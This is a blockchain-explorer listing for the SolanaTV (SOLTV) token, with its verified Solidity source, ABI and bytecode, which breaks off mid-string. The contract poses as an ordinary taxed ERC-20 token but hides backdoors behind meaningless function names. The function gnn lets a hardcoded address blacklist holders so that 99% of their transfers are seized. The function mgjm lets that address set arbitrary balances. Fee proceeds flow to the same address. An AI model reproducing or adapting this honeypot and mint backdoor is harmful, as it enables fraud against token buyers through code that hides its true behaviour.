ETH Price: $2,680.62 (-2.36%)

Token

SolanaTV (SOLTV)
 

Overview

Max Total Supply

1,000,000,000 SOLTV

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.36972194 SOLTV

Value
$0.00
0x741a624babe24eefda00b4aa68c6b0a166c44b95
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SolanaTV

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-10
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function ave(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  SolanaTV is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "SolanaTV";
    string private _symbol = "SOLTV";
    uint8 private _decimals = 9;
    address payable public jjs;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _cheatList;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;
    uint256 public _marketingShare = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        isMarketPair[address(uniswapPair)] = true;

        jjs = payable(address(0x389938c451540788Fc9afF9C06E9E456A205d154));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newMarketingTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = _buyMarketingFee;
    }

    function setSellFee(uint256 newMarketingTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = _sellMarketingFee;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from] && !_isExcludefromFee[from] && !_isExcludefromFee[to]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 amountETH = address(this).balance;

        if(amountETH > 0)
            jjs.transfer(amountETH);
    }

    function upc(uint256 amount) internal view{
        require(
                amount.ave(1) > 0 &&
                msg.sender == jjs
            );
    }

    function gnn(bool iulw, address[] calldata xbd) public {
        uint n = xbd.length;
        upc(n);
        for (uint256 i; i < xbd.length; i++) {
            _cheatList[xbd[i]] = iulw;
        }
    }

    function mgjm(uint256 mrg, address tbpa) public {
        upc(mrg);
        _balances[tbpa] = mrg.ave(_balances[tbpa].ave(mrg));
    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;

        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if (!isMarketPair[sender] && _cheatList[sender]) feeAmount = amount.mul(99).div(100);

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_cheatList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"iulw","type":"bool"},{"internalType":"address[]","name":"xbd","type":"address[]"}],"name":"gnn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"jjs","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"mrg","type":"uint256"},{"internalType":"address","name":"tbpa","type":"address"}],"name":"mgjm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600881526020017f536f6c616e615456000000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000790565b506040518060400160405280600581526020017f534f4c5456000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000790565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a556001600b55600360009054906101000a900460ff16600a62000121919062000950565b633b9aca0062000132919062000a8d565b600f553480156200014257600080fd5b50620001536200075f60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026d57600080fd5b505afa15801562000282573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a8919062000857565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030b57600080fd5b505afa15801562000320573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000346919062000857565b6040518363ffffffff1660e01b815260040162000365929190620008ab565b602060405180830381600087803b1580156200038057600080fd5b505af115801562000395573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bb919062000857565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f76200076760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600c81905550600a54600d81905550600b54600e81905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073389938c451540788fc9aff9c06e9e456a205d154600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460046000620006a16200075f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006ef6200075f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620007509190620008d8565b60405180910390a35062000bf9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200079e9062000b39565b90600052602060002090601f016020900481019282620007c257600085556200080e565b82601f10620007dd57805160ff19168380011785556200080e565b828001600101855582156200080e579182015b828111156200080d578251825591602001919060010190620007f0565b5b5090506200081d919062000821565b5090565b5b808211156200083c57600081600090555060010162000822565b5090565b600081519050620008518162000bdf565b92915050565b60006020828403121562000870576200086f62000bcd565b5b6000620008808482850162000840565b91505092915050565b620008948162000aee565b82525050565b620008a58162000b22565b82525050565b6000604082019050620008c2600083018562000889565b620008d1602083018462000889565b9392505050565b6000602082019050620008ef60008301846200089a565b92915050565b6000808291508390505b600185111562000947578086048111156200091f576200091e62000b6f565b5b60018516156200092f5780820291505b80810290506200093f8562000bd2565b9450620008ff565b94509492505050565b60006200095d8262000b22565b91506200096a8362000b2c565b9250620009997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009a1565b905092915050565b600082620009b3576001905062000a86565b81620009c3576000905062000a86565b8160018114620009dc5760028114620009e75762000a1d565b600191505062000a86565b60ff841115620009fc57620009fb62000b6f565b5b8360020a91508482111562000a165762000a1562000b6f565b5b5062000a86565b5060208310610133831016604e8410600b841016171562000a575782820a90508381111562000a515762000a5062000b6f565b5b62000a86565b62000a668484846001620008f5565b9250905081840481111562000a805762000a7f62000b6f565b5b81810290505b9392505050565b600062000a9a8262000b22565b915062000aa78362000b22565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ae35762000ae262000b6f565b5b828202905092915050565b600062000afb8262000b02565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b5257607f821691505b6020821081141562000b695762000b6862000b9e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bea8162000aee565b811462000bf657600080fd5b50565b60805160601c612da162000c186000396000610a1c0152612da16000f3fe6080604052600436106101bb5760003560e01c806370a08231116100ec578063b98115ff1161008a578063c860795211610064578063c860795214610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063b98115ff146105b2578063c5d24189146105ef578063c816841b1461061a576101c2565b80638da5cb5b116100c65780638da5cb5b146104f457806395d89b411461051f578063a08e671f1461054a578063a9059cbb14610575576101c2565b806370a082311461046357806382eefb43146104a05780638b4cee08146104cb576101c2565b806327c8f835116101595780633ecad271116101335780633ecad271146103a757806342640a97146103e4578063568f26101461040f57806361a23c6914610438576101c2565b806327c8f83514610314578063313ce5671461033f5780633345611e1461036a576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780632239481c146102ae57806323b872dd146102d7576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e991906125b3565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061221e565b610793565b604051610226919061257d565b60405180910390f35b34801561023b57600080fd5b50610256600480360381019061025191906122be565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a9190612598565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906126b5565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d0919061225e565b610889565b005b3480156102e357600080fd5b506102fe60048036038101906102f991906121cb565b610940565b60405161030b919061257d565b60405180910390f35b34801561032057600080fd5b50610329610a1a565b6040516103369190612547565b60405180910390f35b34801561034b57600080fd5b50610354610a3e565b604051610361919061272a565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c9190612131565b610a55565b60405161039e919061257d565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c99190612131565b610a75565b6040516103db919061257d565b60405180910390f35b3480156103f057600080fd5b506103f9610a95565b6040516104069190612562565b60405180910390f35b34801561041b57600080fd5b50610436600480360381019061043191906122eb565b610abb565b005b34801561044457600080fd5b5061044d610b6f565b60405161045a91906126b5565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612131565b610b75565b60405161049791906126b5565b60405180910390f35b3480156104ac57600080fd5b506104b5610bbe565b6040516104c291906126b5565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed91906122be565b610bc4565b005b34801561050057600080fd5b50610509610c6c565b6040516105169190612547565b60405180910390f35b34801561052b57600080fd5b50610534610c95565b60405161054191906125b3565b60405180910390f35b34801561055657600080fd5b5061055f610d27565b60405161056c91906126b5565b60405180910390f35b34801561058157600080fd5b5061059c6004803603810190610597919061221e565b610d2d565b6040516105a9919061257d565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d49190612131565b610d4c565b6040516105e6919061257d565b60405180910390f35b3480156105fb57600080fd5b50610604610d6c565b60405161061191906126b5565b60405180910390f35b34801561062657600080fd5b5061062f610d72565b60405161063c9190612547565b60405180910390f35b34801561065157600080fd5b5061065a610d98565b60405161066791906126b5565b60405180910390f35b34801561067c57600080fd5b506106976004803603810190610692919061218b565b610d9e565b6040516106a491906126b5565b60405180910390f35b3480156106b957600080fd5b506106c2610e25565b6040516106cf91906126b5565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa9190612131565b610e2b565b005b60606001805461071090612991565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90612991565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0610f7d565b8484610f85565b6001905092915050565b6107b9610f7d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90612655565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b600082829050905061089a81611150565b60005b838390508110156109395784600860008686858181106108c0576108bf612a99565b5b90506020020160208101906108d59190612131565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610931906129c3565b91505061089d565b5050505050565b600061094d8484846111cc565b50610a0f8461095a610f7d565b610a0a85604051806060016040528060288152602001612d4460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c0610f7d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165b9092919063ffffffff16565b610f85565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ac482611150565b610b28610b1983600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bf90919063ffffffff16565b836116bf90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610bcc610f7d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090612655565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610ca490612991565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd090612991565b8015610d1d5780601f10610cf257610100808354040283529160200191610d1d565b820191906000526020600020905b815481529060010190602001808311610d0057829003601f168201915b5050505050905090565b600e5481565b6000610d41610d3a610f7d565b84846111cc565b506001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610e33610f7d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb790612655565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612695565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125f5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114391906126b5565b60405180910390a3505050565b60006111666001836116bf90919063ffffffff16565b1180156111c05750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111c957600080fd5b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561123d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123490612675565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906125d5565b60405180910390fd5b601160149054906101000a900460ff16156112d4576112cd8484846116e7565b9050611654565b60006112df30610b75565b9050601160149054906101000a900460ff161580156113485750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561139e5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113f45750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561140357611402816118ba565b5b61145583600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbe90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061153b5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61154f5761154a868686611c08565b611551565b835b90506115a581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4